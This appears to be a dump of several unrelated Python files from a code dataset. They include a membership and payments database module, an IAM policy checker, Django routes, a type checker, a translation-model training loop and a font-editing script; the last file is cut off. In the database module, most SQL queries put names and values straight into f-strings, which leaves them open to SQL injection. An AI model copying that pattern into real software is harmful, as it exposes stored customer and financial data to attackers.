f\"INSERT into transactions values ('{timestamp}', '{name}', \"\n f\"'member', '{category}', 0) \"\n )\n\n########### Memberships ###############\n\ndef create_customer(row):\n connect.SQL((f\"INSERT INTO customers VALUES (?,?,?,?,?,?,?)\", tuple(row)))\n\ndef create_membership(name):\n membership = connect.SQL(f\"DELETE from memberships where name = '{name}'\")\n start_date = datetime.strftime(datetime.now().date(), '%Y-%m-%d')\n end_date = datetime.strftime(\n \tdatetime.now().date() + relativedelta(months=1) - relativedelta(days=1),\n \t '%Y-%m-%d')\n row = (name, start_date, end_date, 'active')\n connect.SQL(f\"INSERT INTO memberships (name, start_date, end_date, status) VALUES {tuple(row)}\")\n\ndef pause_membership(name):\n date = datetime.strftime(datetime.now().date(), '%Y-%m-%d')\n connect.SQL(\n f\"UPDATE memberships SET date_paused = '{date}', \"\n \"status = 'paused' \"\n f\"WHERE name = '{name}'\"\n )\n\ndef restart_membership(name):\n end_date, date_paused = connect.SQL(f\"SELECT end_date, date_paused from memberships where name = '{name}'\")[0]\n end_date = datetime.strptime(end_date, '%Y-%m-%d')\n date_paused = datetime.strptime(date_paused, '%Y-%m-%d')\n days_remaining = (end_date-date_paused).days\n today = datetime.now().date()\n new_end_date = today + relativedelta(days=days_remaining)\n connect.SQL(\n f\"UPDATE memberships SET end_date = '{new_end_date}', \"\n f\"status = 'active', \"\n f\"date_paused = NULL \"\n f\"WHERE name= '{name}'\"\n )\n\ndef new_end_date(name, new_end_date):\n connect.SQL(\n f\"UPDATE memberships set end_date = '{new_end_date}' \"\n f\"WHERE name = '{name}'\"\n )\n\ndef new_punch_pass(name, number, amount):\n date_bought = datetime.strftime(datetime.now().date(), '%Y-%m-%d')\n end_date = datetime.strftime(datetime.now()+relativedelta(months=1), '%Y-%m-%d')\n connect.SQL(\n f\"INSERT into punch_passes values ('{name}', '{date_bought}', {number}, '{end_date}') \"\n )\n category = connect.SQL(\n f\"SELECT category from customers where name = '{name}'\"\n )[0][0]\n timestamp = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n connect.SQL(\n f\"INSERT into transactions values ('{timestamp}', '{name}', \"\n f\"'membership lite', '{category}', {amount}) \"\n )\n\ndef use_punch_pass(name):\n sessions = connect.SQL(\n f\"SELECT sessions_left from punch_passes where name = '{name}' \"\n )[0][0]\n if int(sessions) == 1:\n connect.SQL(f\"DELETE FROM punch_passes where name = '{name}' \")\n else:\n connect.SQL(f\"UPDATE punch_passes set sessions_left = sessions_left-1 where name = '{name}' \")\n\n\n########## Retrieve customer information\n\ndef fetch_all_customers():\n names = connect.SQL(\"SELECT name from customers ORDER by name\")\n all_customers = [item for name in names for item in name]\n return all_customers\n\ndef fetch_specific_customer(fullname):\n all_customers = fetch_all_customers()\n close_matches = difflib.get_close_matches(\n fullname.lower(), all_customers, 3,0.6)\n customer = connect.SQL(f\"SELECT * FROM customers WHERE name = '{close_matches[0]}'\")\n return customer\n\ndef fetch_membership_status(name):\n membership = connect.SQL(f\"SELECT status, end_date, date_paused from memberships where name = '{name}'\")\n sessions_left = connect.SQL(f\"SELECT sessions_left from punch_passes where name = '{name}'\")\n if sessions_left:\n status = 'punch pass'\n detail = sessions_left[0][0]\n\n elif not membership:\n status = 'not member'\n detail = connect.SQL(f\"SELECT registration_date from customers where name = '{name}'\")[0][0]\n\n elif membership[0][0] == 'paused':\n status = 'paused'\n end_date = datetime.strptime(membership[0][1], '%Y-%m-%d').date()\n detail = (end_date - datetime.now().date()).days\n else:\n status = membership[0][0]\n detail = membership[0][1]\n return status, detail\n\ndef get_paused_members():\n return connect.SQL(\n \"SELECT name, date_paused FROM memberships \" \n \"WHERE status = 'paused' \"\n \"ORDER BY date_paused ASC \"\n )\n\ndef get_active_members(): #Turn this into a dictionary\n return connect.SQL(\n \"SELECT name, end_date FROM memberships \"\n \"WHERE status = 'active' \"\n \"UNION ALL SELECT name, end_date from punch_passes \"\n \"ORDER BY end_date ASC\"\n )\n\ndef get_expired_members():\n return connect.SQL(\n \"SELECT name, end_date FROM memberships \"\n \"WHERE status = 'expired' \"\n \"ORDER BY end_date DESC \"\n \"LIMIT 10\"\n )\n \ndef fetch_transactions(day_offset_start, day_offset_end):\n today = datetime.now().date()\n start_date = today-relativedelta(days=day_offset_start)\n end_date = today-relativedelta(days=day_offset_end-1)\n transactions = connect.SQL(\n \"SELECT transaction_timestamp, category, descriptor, amount \"\n \"FROM transactions \"\n f\"WHERE transaction_timestamp < '{end_date}' \"\n f\"AND transaction_timestamp >= '{start_date}' \"\n \"UNION ALL SELECT transaction_timestamp, description, international, amount \"\n \"FROM kids_sessions \"\n f\"WHERE transaction_timestamp < '{end_date}' \"\n f\"AND transaction_timestamp >= '{start_date}' \"\n \"ORDER BY transaction_timestamp ASC \"\n )\n transactions = [list(transaction) for transaction in transactions]\n return transactions\n\ndef get_whatsapp_list():\n return connect.SQL(\"SELECT name, whatsapp from customers where whatsapp is not null\")\n\ndef add_to_whatsapp(name):\n connect.SQL(f\"UPDATE customers set whatsapp = NULL where name = '{name}'\")\n\n############### Loans ###########################\n\ndef create_loan(date, person, amount):\n connect.SQL(f\"INSERT INTO loans values ('{date}', '{person}', '{amount}')\")\n\ndef view_loans():\n return connect.SQL(\"SELECT * FROM loans\")\n\ndef total_loans():\n return connect.SQL(\"SELECT total(amount) from loans\")[0][0]\n conn = sqlite3.connect('climbsalone.db') \n\ndef repay_loan(person, amount):\n connect.SQL(f\"DELETE FROM loans where person = '{person}' and amount = '{amount}'\")\n\n\n################ Safe and Basket #######################\n\ndef add_safe_transaction(amount):\n amount = amount*1000\n today = datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')\n connect.SQL(f\"INSERT into safe values ('{today}', {amount})\")\n\ndef safe_total():\n amount = int(connect.SQL(\"SELECT total(amount) from safe\")[0][0])\n if abs(amount) < 1000000:\n return f\"{amount:,}\"\n else:\n return f\"{round(amount/1000000, 3)} million\"\n\ndef add_basket_transaction(reason, amount, timestamp):\n amount = amount*1000\n connect.SQL(f\"INSERT into basket values ('{reason}','{timestamp}', {amount})\")\n\ndef basket_total():\n amount = int(connect.SQL(\"SELECT total(amount) from basket\")[0][0])\n if abs(amount) < 1000000:\n return f\"{amount:,}\"\n else:\n return f\"{round(amount/1000000, 3)} million\"\n\ndef get_basket_transactions():\n return connect.SQL(\"SELECT * FROM basket ORDER BY timestamp DESC LIMIT 15\")","sub_path":"sql_queries.py","file_name":"sql_queries.py","file_ext":"py","file_size_in_byte":9804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"552721807","text":"from faros.client import FarosClient\n\n\ndef get_policy_arns(user):\n policy_arns = [p[\"policyArn\"] for p in user[\"attachedManagedPolicies\"]]\n group_policy_arns = [p[\"policyArn\"] for g in user[\"groups\"][\"data\"] for p in g[\"attachedManagedPolicies\"]]\n policy_arns.extend(group_policy_arns)\n return policy_arns\n\n\ndef get_missing_policies(required, attached):\n return list(frozenset(required).difference(attached))\n\n\ndef lambda_handler(event, context):\n client = FarosClient.from_event(event)\n required_policy_arns = event[\"params\"][\"required_policy_arns\"].split(\",\")\n\n query = \"\"\"{\n aws {\n iam {\n userDetail {\n data {\n farosAccountId\n farosRegionId\n userId\n userName\n attachedManagedPolicies {\n policyArn\n policyName\n }\n groups {\n data {\n groupId\n groupName\n attachedManagedPolicies {\n policyArn\n policyName\n }\n }\n }\n }\n }\n }\n }\n }\"\"\"\n\n response = client.graphql_execute(query)\n users = response[\"aws\"][\"iam\"][\"userDetail\"][\"data\"]\n users_without_policies = []\n required_policy_arns = event[\"params\"][\"required_policy_arns\"].split(\",\")\n\n for user in users:\n policies = get_policy_arns(user)\n missing_policies = get_missing_policies(required_policy_arns, policies)\n if missing_policies:\n users_without_policies.append({\n \"userId\": user[\"userId\"],\n \"userName\": user[\"userName\"],\n \"farosAccountId\": user[\"farosAccountId\"],\n \"farosRegionId\": user[\"farosRegionId\"],\n \"missingPolicies\": missing_policies}\n )\n\n return users_without_policies\n","sub_path":"apps/iam-users-with-missing-policies/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"395592311","text":"\"\"\"project4 URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom qa.views import *\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('', index),\n path('question//', showquestion, name=\"showquestion\"),\n path('ask-question', askquestion),\n path('answer-question', answerquestion, name=\"answerquestion\"),\n path('user//', profile, name='profile'),\n path('signup', signup, name='signup'),\n path('login', login, name='login'),\n path('logout', logout, name='logout')\n]\n","sub_path":"project4/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"472074622","text":"#!/usr/bin/python\n\nimport AST\n\nfrom collections import defaultdict\n\nfrom SymbolTable import SymbolTable, VariableSymbol, FunctionSymbol\n\nttype = defaultdict(lambda: defaultdict(lambda: defaultdict(lambda: None)))\nfor op in ['+', '-', '*', '/', '%', '<', '>', '<<', '>>', '|', '&', '^', '<=', '>=', '==', '!=']:\n ttype[op]['int']['int'] = 'int'\n\nfor op in ['+', '-', '*', '/']:\n ttype[op]['int']['float'] = 'float'\n ttype[op]['float']['int'] = 'float'\n ttype[op]['float']['float'] = 'float'\n\nfor op in ['<', '>', '<=', '>=', '==', '!=']:\n ttype[op]['int']['float'] = 'int'\n ttype[op]['float']['int'] = 'int'\n ttype[op]['float']['float'] = 'int'\n\nttype['+']['string']['string'] = 'string'\nttype['*']['string']['int'] = 'string'\n\nfor op in ['<', '>', '<=', '>=', '==', '!=']:\n ttype[op]['string']['string'] = 'int'\n\n\nclass NodeVisitor(object):\n def visit(self, node):\n method = 'visit_' + node.__class__.__name__\n visitor = getattr(self, method, self.generic_visit)\n return visitor(node)\n\n def generic_visit(self, node): # Called if no explicit visitor function exists for a node.\n if isinstance(node, list):\n for elem in node:\n self.visit(elem)\n else:\n for child in node.children:\n if isinstance(child, list):\n for item in child:\n if isinstance(item, AST.Node):\n self.visit(item)\n elif isinstance(child, AST.Node):\n self.visit(child)\n\n # simpler version of generic_visit, not so general\n # def generic_visit(self, node):\n # for child in node.children:\n # self.visit(child)\n\n\nclass TypeChecker(NodeVisitor):\n\n def __init__(self):\n self.table = SymbolTable(None, 'global')\n self.presentType = None\n self.presentFunction = None\n self.loop_flag = False\n self.uniq_arg = 0\n\n def visit_BinExpr(self, node):\n # alternative usage,\n # requires definition of accept method in class Node\n type1 = self.visit(node.left) # type1 = node.left.accept(self)\n type2 = self.visit(node.right) # type2 = node.right.accept(self)\n op = node.op\n line = node.line\n\n if type1 is None or type2 is None:\n return None\n\n if ttype[op][type1][type2] is None:\n print(\"Error: Illegal operation, {} {} {}: line {}\".format(type1, op, type2, line))\n return ttype[op][type1][type2]\n\n\n def visit_Integer(self, node):\n return 'int'\n\n def visit_Float(self, node):\n return 'float'\n\n def visit_String(self, node):\n return 'string'\n\n def visit_Variable(self, node):\n name = node.name\n line = node.line\n\n symbol = self.table.getGlobal(name)\n if symbol is None:\n print(\"Error: Usage of undeclared variable '{}': line {}\".format(name, line))\n elif isinstance(symbol, FunctionSymbol):\n print(\"Error: Function identifier '{}' used as a variable: line {}\".format(name, line))\n else:\n return symbol.type\n\n def visit_Program(self, node):\n if node.declarations is not None:\n self.visit(node.declarations)\n if node.fundefs is not None:\n self.visit(node.fundefs)\n if node.instructions is not None:\n self.visit(node.instructions)\n\n def visit_Declarations(self, node):\n for decl in node.declarations:\n self.visit(decl)\n\n def visit_Declaration(self, node):\n self.presentType = node.type\n self.visit(node.inits)\n self.presentType = None\n\n def visit_Inits(self, node):\n inits = node.inits\n for init in inits:\n self.visit(init)\n\n def visit_Init(self, node):\n id = None\n expr = node.expression\n line = node.line\n\n try:\n id = self.table.entries[node.id]\n print(\"Error: Variable '{}' already declared: line {}\".format(node.id, node.line))\n except KeyError:\n symbol = self.table.getGlobal(node.id)\n if isinstance(symbol, FunctionSymbol):\n print(\"Error: Function identifier '{}' used as a variable: line {}\".format(node.id, line))\n return\n\n id = node.id\n type = self.visit(expr)\n\n if self.presentType != type and not (self.presentType == 'float' and type == 'int'):\n if self.presentType == 'int' and type == 'float':\n print(\"WARNING: possible loss of precision at line \" + str(line))\n self.table.put(id, VariableSymbol(id, type))\n elif type is not None:\n print(\"Error: Assignment of {} to {}: line {}\"\n .format(type, self.presentType, line))\n else:\n self.table.put(id, VariableSymbol(id, type))\n\n def visit_Instructions(self, node):\n for instr in node.instructions:\n self.visit(instr)\n\n def visit_PrintInstruction(self, node):\n self.visit(node.expressions)\n\n def visit_LabeledInstruction(self, node):\n pass\n\n def visit_AssignmentInstruction(self, node):\n id = node.id\n expr = node.expression\n line = node.line\n\n expr_type = self.visit(expr)\n\n symbol = self.table.getGlobal(id)\n if symbol is None:\n print(\"Error: Variable '{}' undefined in current scope: line {}\".format(id, line))\n else:\n symbol_type = symbol.type\n if symbol_type != expr_type and not (symbol_type == 'float' and expr_type == 'int'):\n if symbol_type == 'int' and expr_type == 'float':\n print(\"WARNING: possible loss of precision at line \" + str(line))\n elif expr_type is not None:\n print(\"Error: Assignment of {} to {}: line {}\"\n .format(expr_type, symbol_type, line))\n\n\n def visit_ChoiceInstruction(self, node):\n condition = node.condition\n instruction = node.instruction\n instruction2 = node.instruction2\n\n self.visit(condition)\n self.visit(instruction)\n if instruction2 is not None:\n self.visit(instruction2)\n\n\n def visit_WhileInstruction(self, node):\n self.visit(node.condition)\n if not self.loop_flag:\n self.loop_flag = True\n self.visit(node.instruction)\n self.loop_flag = False\n else:\n self.visit(node.instruction)\n\n def visit_RepeatInstruction(self, node):\n if not self.loop_flag:\n self.loop_flag = True\n self.visit(node.instructions)\n self.loop_flag = False\n else:\n self.visit(node.instructions)\n self.visit(node.condition)\n\n def visit_ReturnInstruction(self, node):\n expression_type = self.visit(node.expression)\n fun = self.presentFunction\n if isinstance(fun, FunctionSymbol):\n if expression_type != fun.type:\n if expression_type is not None:\n print(\"Error: Improper returned type, expected {}, got {}: line {}\"\n .format(fun.type, expression_type, node.line))\n else:\n print(\"Error: return instruction outside a function: line \" + str(node.line))\n if self.presentFunction is not None:\n self.presentFunction.return_flag = True\n\n def visit_ContinueInstruction(self, node):\n if not self.loop_flag:\n print(\"Error: continue instruction outside a loop: line {}\".format(node.line))\n\n def visit_BreakInstruction(self, node):\n if not self.loop_flag:\n print(\"Error: break instruction outside a loop: line {}\".format(node.line))\n\n def visit_CompoundInstuction(self, node):\n if self.presentFunction is not None:\n self.table = SymbolTable(self.table, self.presentFunction.name)\n # add arguments to current scope\n for arg in self.presentFunction.arguments:\n self.table.put(arg.name, arg)\n self.presentFunction.table = self.table\n else:\n self.table = SymbolTable(self.table, \"inner_scope\")\n\n if node.declarations is not None:\n self.visit(node.declarations)\n if node.instructions is not None:\n self.visit(node.instructions)\n\n self.table = self.table.getParentScope()\n\n def visit_Expressions(self, node):\n for i in node.expressions:\n self.visit(i)\n\n def visit_NamedExpression(self, node):\n function = self.table.get(node.id)\n if function is None:\n print(\"Error: Call of undefined fun '{}': line {}\".format(node.id, node.line))\n return None\n elif node.expressions is not None:\n if len(node.expressions.expressions) != len(function.arguments):\n print(\"Error: Improper number of args in {} call: line {}\"\n .format(function.name, node.line))\n return function.type\n type_error_flag = False\n for i in range(0, len(node.expressions.expressions)):\n current_type = self.visit(node.expressions.expressions[i])\n arg_type = function.arguments[i].type\n if current_type != arg_type and not (arg_type == 'float' and current_type == 'int'):\n if current_type == 'float' and arg_type == 'int':\n print(\"WARNING: possible loss of precision at line \" + str(node.line))\n elif not type_error_flag:\n type_error_flag = True\n print(\"Error: Improper type of args in {} call: line {}\"\n .format(node.id, node.line))\n return function.type\n\n def visit_Fundefs(self, node):\n for i in node.fundefs:\n self.visit(i)\n\n def visit_Fundef(self, node):\n if self.table.getParentScope() is not None:\n print(\"ERROR: Function defined in non-global scope at line \" + str(node.line))\n else:\n if self.table.get(node.id) is not None:\n print(\"Error: Redefinition of function '{}': line {}\".format(node.id, node.line))\n else:\n self.presentFunction = FunctionSymbol(node.id, node.type, None)\n self.table.put(node.id, self.presentFunction)\n if node.args is not None:\n self.visit(node.args)\n self.visit(node.compound_instr)\n if not self.presentFunction.return_flag:\n print(\"Error: Missing return statement in function '{}' returning {}: line {}\"\n .format(node.id, node.type, node.line))\n self.presentFunction.return_flag = False\n self.presentFunction = None\n\n def visit_Arguments(self, node):\n for i in node.args:\n self.visit(i)\n\n def visit_Argument(self, node):\n # check if present\n is_present = False\n for arg in self.presentFunction.arguments:\n if node.id == arg.name:\n is_present = True\n\n if is_present:\n print(\"Error: Variable '{}' already declared: line {}\".format(node.id, node.line))\n # put uniq\n self.presentFunction.arguments.append(VariableSymbol(self.uniq_arg, node.type))\n self.uniq_arg += 1\n else:\n self.presentFunction.arguments.append(VariableSymbol(node.id, node.type))\n","sub_path":"zad4/TypeChecker.py","file_name":"TypeChecker.py","file_ext":"py","file_size_in_byte":11629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"213335867","text":"from sqlalchemy.orm import Session\nfrom sqlalchemy.exc import IntegrityError\n\nfrom schemas.permissions import RoleBase, GroupBase\nfrom models.permissions import Role, Group\nfrom database.exceptions import DatabaseException, NotFoundException\nfrom services import get_all, get_by_id, update_instance, delete_instance\n\n\ndef validate_role(db: Session, role: RoleBase):\n db_groups = db.query(Group).filter(Group.id.in_(role.groups)).all()\n if len(db_groups) < len(role.groups):\n raise NotFoundException(f'Can not find groups with ids '\n f'\"{set(role.groups) - set([group.id for group in db_groups])}\" in database')\n role.groups = db_groups\n return role\n\n\ndef get_all_roles(db: Session, limit: int = 100, offset: int = 0):\n return get_all(db, Role, limit, offset)\n\n\ndef get_role_by_id(db: Session, role_id: int):\n return get_by_id(db, role_id, Role)\n\n\ndef create_role(db: Session, role: RoleBase):\n db_role = db.query(Role).filter(Role.name == role.name).first()\n if db_role:\n raise DatabaseException(f'Role with name {role.name} already exists')\n role = validate_role(db, role)\n try:\n db_role = Role(**role.dict())\n db.add(db_role)\n db.commit()\n db.refresh(db_role)\n except IntegrityError as error:\n raise DatabaseException(error.args)\n return db_role\n\n\ndef update_role(db: Session, role_id: int, role: RoleBase):\n db_role = db.query(Role).get(role_id)\n if not db_role:\n raise NotFoundException(f'Role with id {role_id} does not exist')\n validated_model = validate_role(db, role)\n try:\n update_instance(db_role, validated_model)\n db.add(db_role)\n db.commit()\n db.refresh(db_role)\n except IntegrityError as error:\n raise DatabaseException(error.args)\n return db_role\n\n\ndef delete_role(db: Session, role_id: int):\n delete_instance(db, role_id, Role)\n\n\ndef get_all_groups(db: Session, limit: int = 100, offset: int = 0):\n return get_all(db, Group, limit, offset)\n\n\ndef get_group_by_id(db: Session, group_id: int):\n return get_by_id(db, group_id, Group)\n\n\ndef create_group(db: Session, group: GroupBase):\n db_group = db.query(Group).filter(Group.name == group.name).first()\n if db_group:\n raise DatabaseException(f'Group with name {group.name} already exists')\n try:\n db_group = Group(**group.dict())\n db.add(db_group)\n db.commit()\n db.refresh(db_group)\n except IntegrityError as error:\n raise DatabaseException(error.args)\n return db_group\n\n\ndef update_group(db: Session, group_id: int, group: GroupBase):\n db_group = db.query(Group).get(group_id)\n if not db_group:\n raise NotFoundException(f'Group with id {group_id} does not exist')\n try:\n update_instance(db_group, group)\n db.add(db_group)\n db.commit()\n db.refresh(db_group)\n except IntegrityError as error:\n raise DatabaseException(error.args)\n return db_group\n\n\ndef delete_group(db: Session, group_id: int):\n delete_instance(db, group_id, Group)\n\n","sub_path":"backend/services/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":3097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"52436395","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport utils\nfrom tqdm import tqdm\nimport os\nimport numpy as np\n\n\ndef train(model, model_name, train_iter, val_iter, SRC_TEXT, TRG_TEXT, anneal, num_epochs=20, gpu=False, lr=0.001, weight_decay=0, checkpoint=False):\n optimizer = torch.optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), lr=lr)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, 'max', patience=30, factor=0.25, verbose=True, cooldown=6)\n pad = TRG_TEXT.vocab.stoi['']\n loss = nn.NLLLoss(size_average=True, ignore_index=pad)\n cur_best = 0\n \n for epoch in range(num_epochs):\n model.train()\n \n alpha = anneal(epoch, gpu=gpu)\n \n train_nre = 0\n train_kl = 0\n for batch in tqdm(train_iter):\n src, trg = (batch.src.cuda(), batch.trg.cuda()) if gpu else (batch.src, batch.trg)\n\n re, kl, hidden = model(src, trg)\n \n kl = kl.sum() / len(kl)\n nre = loss(re[:-1, :, :].view(-1, re.size(2)), trg[1:, :].view(-1))\n \n neg_elbo = nre + alpha * kl\n\n train_nre += nre.item()\n train_kl += kl.item()\n\n optimizer.zero_grad()\n neg_elbo.backward()\n torch.nn.utils.clip_grad_norm(model.parameters(), 1.0)\n optimizer.step()\n \n train_nre /= len(train_iter)\n train_kl /= len(train_iter)\n train_elbo = train_nre + train_kl\n train_perp = np.exp(train_elbo)\n\n val_perp, val_elbo, val_nre, val_kl = utils.eval_vae(model, val_iter, pad, gpu)\n\n # greedy search\n bleu_val = utils.test_multibleu(model, val_iter, TRG_TEXT, k=1, gpu=gpu)\n scheduler.step(bleu_val)\n \n results = 'Epoch: {}\\n' \\\n '\\tVALID PB: {:.4f} NELBO: {:.4f} RE: {:.4f} KL: {:.4f}\\n' \\\n '\\tTRAIN PB: {:.4f} NELBO: {:.4f} RE: {:.4f} KL: {:.4f}\\n'\\\n '\\tBLEU Greedy: {:.4f}'\\\n .format(epoch+1, val_perp, val_elbo, val_nre, val_kl,\n np.exp(train_elbo), train_elbo, train_nre, train_kl, bleu_val)\n\n if not (epoch + 1) % 2:\n bleu = utils.test_multibleu(model, val_iter, TRG_TEXT, gpu=gpu)\n results += '\\n\\tBLEU: {:.4f}'.format(bleu)\n\n print(results)\n\n if not (epoch + 1) % 1:\n local_path = os.getcwd()\n model_path = local_path + \"/\" + model_name\n if not os.path.exists(model_path):\n os.makedirs(model_path)\n eval_file = model_path + \"/\" + \"eval.txt\"\n\n if epoch == 0:\n f = open(eval_file, \"w\")\n f.write(\"{}\".format(model))\n f.close()\n\n with open(eval_file, \"a\") as f:\n f.write(\"{}\\n\".format(results))\n\n if checkpoint and bleu_val > cur_best:\n model_file = model_path + \"/\" + str(epoch + 1) + \".pt\"\n torch.save(model, model_file)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"265981965","text":"# menuTitle: Align Points\n# shortCut: shift+command+f\n\n'''\nThis script aligns selected points intelligently. \nIt will look at the x-coordinate offset and \nthe y-coordinate offset and align according to \nwhichever one is smaller. It will also make \nan educated guess as to which direction you'd \nlike to align it.\n\nRequires Robofont 3.2+\n\nRyan Bugden\n2019.03.09\nwith thanks to Frank Griesshammer for the idea\n'''\n\ndef findRange(l):\n # Find the width of the selection and height of the selection independently\n return max(l) - min(l)\n\ndef avgList(l):\n # Average the x and y lists independently\n return int(sum(l) / len(l))\n\ndef _adjacentPointsThatAreOffCurve(point_index):\n adjacents = [point_index-1, point_index+1]\n l = []\n for pt_i in adjacents:\n # Will avoid errors with first/last point indexes\n try: \n p.contour._getPoint(pt_i)\n except IndexError:\n continue\n if p.contour.points[pt_i].type == 'offcurve':\n l.append(pt_i)\n return l\n \ng = CurrentGlyph()\n\n# Only works if there is a point selection\nif g.selection:\n with g.undo(\"Align Points\"):\n x_ind = []\n y_ind = []\n # Parse out the x and y values of the selected glyphs\n for p in g.selection:\n x_ind.append(p.x)\n y_ind.append(p.y)\n \n av_x = avgList(x_ind)\n max_x = max(x_ind)\n min_x = min(x_ind)\n \n av_y = avgList(y_ind)\n max_y = max(y_ind)\n min_y = min(y_ind)\n \n # Threshold to determine whether to move off-curves drastically or not.\n ocp_dist_threshold = 1\n # If the points are closer together horizontally, align x.\n if findRange(x_ind) < findRange(y_ind):\n for p in g.selection: \n p_i = p._get_index()\n \n # Set appropriate alignment. Tries to intuit whether you want to align left, right, or center.\n if max_x == g.bounds[2]:\n alignment_x = max_x\n elif min_x == g.bounds[0]:\n alignment_x = min_x\n else:\n alignment_x = av_x\n \n x_delta = alignment_x - p.x\n p.x = alignment_x\n \n # Don't forget off-curves\n for ocp_i in _adjacentPointsThatAreOffCurve(p_i):\n # If the point is close enough, it will snap to the alignment average.\n if p.contour.points[p_i].x + ocp_dist_threshold > p.contour.points[ocp_i].x > p.contour.points[p_i].x - ocp_dist_threshold:\n p.contour.points[ocp_i].x = alignment_x\n # If it's a smooth point and the handle isn't parallel to the alignment direction, the off-curve will snap to the alignment average.\n elif p.smooth == True and p.contour.points[ocp_i].y < p.y - ocp_dist_threshold:\n p.contour.points[ocp_i].x = alignment_x\n elif p.smooth == True and p.contour.points[ocp_i].y > p.y + ocp_dist_threshold:\n p.contour.points[ocp_i].x = alignment_x\n # Otherwise, the off-curve-to-on-curve relationship will be maintained\n else:\n p.contour.points[ocp_i].x += x_delta\n # Same for y\n else:\n for p in g.selection:\n p_i = p._get_index()\n \n # Set appropriate alignment. Tries to intuit whether you want to align left, right, or center.\n if max_y == g.bounds[3]:\n alignment_y = max_y\n elif min_y == g.bounds[1]:\n alignment_y = min_y\n else:\n alignment_y = av_y\n \n y_delta = alignment_y - p.y \n p.y = alignment_y\n \n # Don't forget off-curves\n for ocp_i in _adjacentPointsThatAreOffCurve(p_i):\n if p.contour.points[p_i].y + ocp_dist_threshold > p.contour.points[ocp_i].y > p.contour.points[p_i].y - ocp_dist_threshold:\n p.contour.points[ocp_i].y = alignment_y\n elif p.smooth == True and p.contour.points[ocp_i].x < p.x - ocp_dist_threshold:\n p.contour.points[ocp_i].y = alignment_y\n elif p.smooth == True and p.contour.points[ocp_i].x > p.x + ocp_dist_threshold:\n p.contour.points[ocp_i].y = alignment_y\n else:\n p.contour.points[ocp_i].y += y_delta\n \n # Immediately reflect the changes in glyph view.\n g.changed()\n \n ","sub_path":"AlignPoints.py","file_name":"AlignPoints.py","file_ext":"py","file_size_in_byte":4784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"151188353","text":"import configparser\nimport numpy as np\n\n\ndef read_in():\n\tconfig_common_par = configparser.ConfigParser()\n\tconfig_common_par.read('model.par')\n\n\tnum_parameters = config_common_par.getint('MODEL', 'Number of model parameters') #reading in the number of parameters that the model function has\n\n\tmodel_filename = config_common_par.get('MODEL', 'model file') #reading in the filename of the model function\n\tmodel_filename = model_filename.split('.')[0]\n\n\tdata_filename = config_common_par.get('MODEL', 'data file')\n\tdata_array = np.loadtxt(\"%s\" %data_filename)\n\tt_data = data_array[:,0]\n\ty_data = data_array[:,1]\n\n\n\tprior_set = []\n\tfor i in range(num_parameters):\n\t\ttry:\n\t\t\tprior = config_common_par.get('PRIORS', 'P%s' %(i+1))\n\t\t\tprior = prior.split(' ')\n\t\t\tif prior[0] == 'uniform':\n\t\t\t\tuni_lower = float(prior[1])\n\t\t\t\tuni_upper = float(prior[2])\n\t\t\t\tprior_set.append([prior[0], uni_lower, uni_upper])\n\t\t\telif prior[0] == 'normal':\n\t\t\t\tnormal_mu = float(prior[1])\n\t\t\t\tnormal_var = float(prior[2])\n\t\t\t\tprior_set.append([prior[0], normal_mu, normal_var])\n\t\t\telse:\n\t\t\t\tprint(\"Unexpected error - Unknown Prior Distribution for prior %s\" %(i+1))\n\t\t\t\traise()\n\t\texcept configparser.NoOptionError:\n\t\t\tprint(\"error occured when defining prior %s \" %(i+1))\n\t\t\traise()\n\n\ttry:\n\t\terror_prior = config_common_par.get('PRIORS', 'error_prior')\n\t\terror_prior = error_prior.split(' ')\n\t\tif error_prior[0] == 'uniform':\n\t\t\tuni_lower = float(error_prior[1])\n\t\t\tuni_upper = float(error_prior[2])\n\t\t\tprior_set.append([error_prior[0], uni_lower, uni_upper])\n\t\telif error_prior[0] == 'normal':\n\t\t\tnormal_mu = float(error_prior[1])\n\t\t\tnormal_var = float(error_prior[2])\n\t\t\tprior_set.append([error_prior[0], normal_mu, normal_var])\n\t\telse:\n\t\t\tprint(\"Unexpected error - Unknown Error Prior Distribution for prior\")\n\t\t\traise()\n\texcept configparser.NoOptionError:\n\t\tprint(\"error occured when defining the error prior\")\n\t\traise()\n\n\terror_types = ['proportional', 'constant']\n\ttry:\n\t\terror_type = config_common_par.get('log-likelihood', 'error')\n\t\tif(error_type not in error_types):\n\t\t\tprint (\"unknown error type: \" + error_type)\n\t\t\traise()\n\texcept configparser.NoOptionError:\n\t\tprint ('error is not defined at all, see section [log-likelihood]')\n\t\traise()\n\n\n\tconfig_cma_par = configparser.ConfigParser()\n\tconfig_cma_par.read('cma.par')\n\n\tbounds = config_cma_par.get('PARAMETERS', 'bounds')\n\tlower_bound = float(bounds.split(' 